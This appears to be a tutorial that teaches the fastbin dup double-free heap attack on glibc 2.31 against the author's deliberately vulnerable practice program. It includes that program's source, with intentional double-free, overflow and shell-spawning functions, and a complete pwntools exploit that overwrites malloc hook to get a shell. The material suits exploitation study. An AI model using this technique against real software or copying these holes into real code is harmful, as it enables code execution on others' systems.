Fastbin dup - 2.31

Intro

Whenever you have a double free on a fastbin size chunk, it's possible to get the same entry twice on a fast list. This causes next allocations to get the same pointer from malloc and therefore, overlap each other, allowing one to corrupt fastbin metadata and allocate in arbitrary locations. For demonstration purposes, I'll use my own project (still under development):

Source code

[...]
 
int alloc(){
    int option;
    int size;
    int idx;
    printf("1 - malloc\n2 - calloc\n3 - realloc\n\n> ");
    scanf("%d",&option);
    switch(option){
        case 1:
            printf("size: ");
            scanf("%ul", &size);
            chunks[counter] = malloc(size);
            break;
        case 2:
            printf("size: ");
            scanf("%ul", &size);
            chunks[counter] = calloc(1, size);
            break;
        case 3:
            printf("size: ");
            scanf("%ul", &size);
            printf("index: ");
            scanf("%d", &idx);
            chunks[counter] = realloc(chunks[idx], size);
            break;
        default:
            printf("No such option\n\n");
            return counter;
 
    }
    counter = counter + 1;
    printf("New Chunk added\n\n");
    return counter;
}
 
void edit(){
    int idx;
    char data[1024];
    printf("index: ");
    scanf("%d",&idx);
    printf("data: ");
    scanf("%s",(char *)data);char overflowme[20];
    strcpy(chunks[idx]->buf,data);
    printf("Chunk edited\n\n");
}
 
void dump(){
    int idx;
    printf("index: ");
    scanf("%d",&idx);
    printf("data:\n\n%s\n\n",chunks[idx]->buf);
}
 
void delete(){
    int idx;
    printf("index: ");
    scanf("%d",&idx);
    free(chunks[idx]->buf);
    printf("Chunk deleted\n");
}
 
void show_ptr(){
    int idx;
    printf("index: ");
    scanf("%d",&idx);
    printf("%d: %p\n\n",idx,chunks[idx]);
}
 
[...]
 
void shellz(){
    char * bin_sh = "/bin/sh";
    system(bin_sh);
}
 
void leak_libc(){
    printf("puts() @ %p\n\n",puts);
}
 
void leak_elf(){
    printf("shellz() @ %p\n\n",shellz);
}
 
[...]

int main(){
    int option;
    while (1){
        printf(
            "1 - Allocate\n" \
            "2 - Edit\n" \
            "3 - Dump\n" \
            "4 - Delete\n" \
            "5 - Show pointer\n" \
            "6 - Leak libc\n" \
            "7 - Leak ELF\n" \
            "8 - Leak stack\n" \
            "9 - Echo\n" \
            "10 - Pop shell\n" \
            "11 - Stack Overflow\n" \
            "12 - Exit\n" \
            "\n> ");
        scanf("%d", &option);
        switch(option){
            case 1:
                counter = alloc();
                break;
            case 2:
                edit();
                break;
            case 3:
                dump();
                break;
            case 4:
                delete();
                break;
            case 5:
                show_ptr();
                break;
            case 6:
                leak_libc();
                break;
            case 7:
                leak_elf();
                break;
                
            [...]
                
            case 12:
                printf("exiting...\n");
                return 0;
            default:
                printf("No such option\n\n");
 
        }
    }
    printf("Error!");
    return 1;
}

This project serves many purposes and includes many possible attacks so I stripped the source so we can focus on what will be demonstrated. Notice that this is not a CTF challenge, with that being said, I included functions to ease demonstration of the attack without needing other techniques to leak memory, so we can focus exclusively on fastbin dups, and those are:

void leak_libc(){
    printf("puts() @ %p\n\n",puts);
}
 
void leak_elf(){
    printf("shellz() @ %p\n\n",shellz);
}

The attack

I'll use a few helper functions to easily interact with the binary

#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./dvle',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
io = process(e.path)

def alloc(opt,size):
    io.recvrepeat(0.05)
    io.sendline('1')
    io.recvrepeat(0.05)
    io.sendline(str(opt))
    io.recvrepeat(0.05)
    io.sendline(str(size))

def edit(i,data):
    io.recvrepeat(0.05)
    io.sendline('2')
    io.recvrepeat(0.05)
    io.sendline(str(i))
    io.recvrepeat(0.05)
    io.sendline(data)

def dump(i):
    io.recvrepeat(0.05)
    io.sendline('3')
    io.recvrepeat(0.05)
    io.sendline(str(i))

def delete(i):
    io.recvrepeat(0.05)
    io.sendline('4')
    io.recvrepeat(0.05)
    io.sendline(str(i))

First of all, we need to fill up the tcache bin of the size we want to play around with, since we are on libc 2.31, so fastbins are only used after tcache has no room. In this case I'll use 0x68 (decimal 104) as the size, this is very important and I'll explain later.

def prep():
    for i in range(7):
        alloc(1,0x68)
    for i in range(7):
        delete(i)

With that out of the way, we can move on to the attack. To start off, let's allocate 3 chunks of the same size and inspect them in gdb.

We need to allocate 3 chunks if we want a double free in one of them because we can't double free the chunk in the head of the list due to memory protections, the work around is to have a entry in the list between our dupped ones. So let's try to free the first chunk, the second one and then the first one again.

Notice that now our first allocation appears twice in the same fastbin.

That meas that if we allocate 3 chunks of this same size again, the first one will be at 0x55d5a168f9c0, the second one will be at 0x55d5a168fa30, and the third one will be at 0x55d5a168f9c0 again! Now we have two chunk with the exact same position. If we free one of those 2 overlapped chunks we can overwrite the metadata of the free one with the user controlled data of the other one, since both are at the same exact address.

    alloc(2,0x68) #7
    alloc(2,0x68) #8
    alloc(2,0x68) #9

    delete(8)
    delete(9)
    delete(8)

    alloc(2,0x68) #10
    alloc(2,0x68) #11
    alloc(2,0x68) #12

    delete(10)
    edit(12,p64(0xdeadbeefcafebabe))

At that point, chunk 10 and 12 are overlapped but chunk 10 is free, that means we can edit chunk 12 to manipulate the fd pointer of chunk 10.

Perfect! Now, if we overwrote the fd pointer with the address of malloc hook we can potentially execute arbitrary functions. But before that, there is one more thing we have to deal with, in the latest few versions of glibc, the allocator checks the size of the free chunk before allocating at it to confirm it's a real chunk. This protection can be bypassed if we allocate at a address where some other value will be intepreted as the size of the fake chunk. pwndbg has a command to make this easier called find_fake_fast.

We found a potential fake chunk with size 0x7f, now this is when the reason for me using 0x68 as size comes into play, the allocator will refuse to allocate in the fake chunk, unless the new allocation size is the same range (0x70 < size < 0x7f) as the free chunk used to service the allocation. So basically the roadmap of the attack is:

  • fastbin dup to overlap chunks

  • poison fd with libc+0x1beb3d (fake chunk)

  • edit new fake chunk to overwrite malloc hook with an arbitrary function pointer

Final exploit

I overwrote the malloc hook with the address of the shellz() function, which pops a shell.

#!/usr/bin/env python
from pwn import *

# Definitions
e = context.binary = ELF('./dvle',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
io = process(e.path)

def alloc(opt,size):
    io.recvrepeat(0.05)
    io.sendline('1')
    io.recvrepeat(0.05)
    io.sendline(str(opt))
    io.recvrepeat(0.05)
    io.sendline(str(size))

def edit(i,data):
    io.recvrepeat(0.05)
    io.sendline('2')
    io.recvrepeat(0.05)
    io.sendline(str(i))
    io.recvrepeat(0.05)
    io.sendline(data)

def dump(i):
    io.recvrepeat(0.05)
    io.sendline('3')
    io.recvrepeat(0.05)
    io.sendline(str(i))

def delete(i):
    io.recvrepeat(0.05)
    io.sendline('4')
    io.recvrepeat(0.05)
    io.sendline(str(i))

# Exploit

def leak_shellz():
    io.recvrepeat(0.05)
    io.sendline('7')
    io.recvuntil('@ ')
    leak = int(io.recv(1024).split('\n')[0],16)
    return leak

def leak_libc():
    io.recvrepeat(0.05)
    io.sendline('6')
    io.recvuntil('@ ')
    leak = int(io.recv(1024).split('\n')[0],16) - 0x765f0
    return leak

def prep():
    for i in range(7):
        alloc(1,0x68)
    for i in range(7):
        delete(i)

def pwn():
    libc.address = leak_libc()
    shellz_addr = leak_shellz()
    log.success('Libc base: ' + hex(libc.address))
    log.success('shellz: ' + hex(shellz_addr))

    alloc(2,0x68) #7
    alloc(2,0x68) #8
    alloc(2,0x68) #9

    delete(8)
    delete(9)
    delete(8)

    alloc(2,0x68) #10
    alloc(2,0x68) #11
    alloc(2,0x68) #12

    delete(10)
    fake_chunk = libc.address + 0x1beb3d
    log.success('Fake chunk: ' + hex(fake_chunk))
    edit(12,p64(fake_chunk))

    alloc(2,0x68) #13
    alloc(2,0x68) #14

    edit(14,0x23*'A' + p64(shellz_addr))
    alloc(2,8)



prep()
pwn()
io.interactive()

Last updated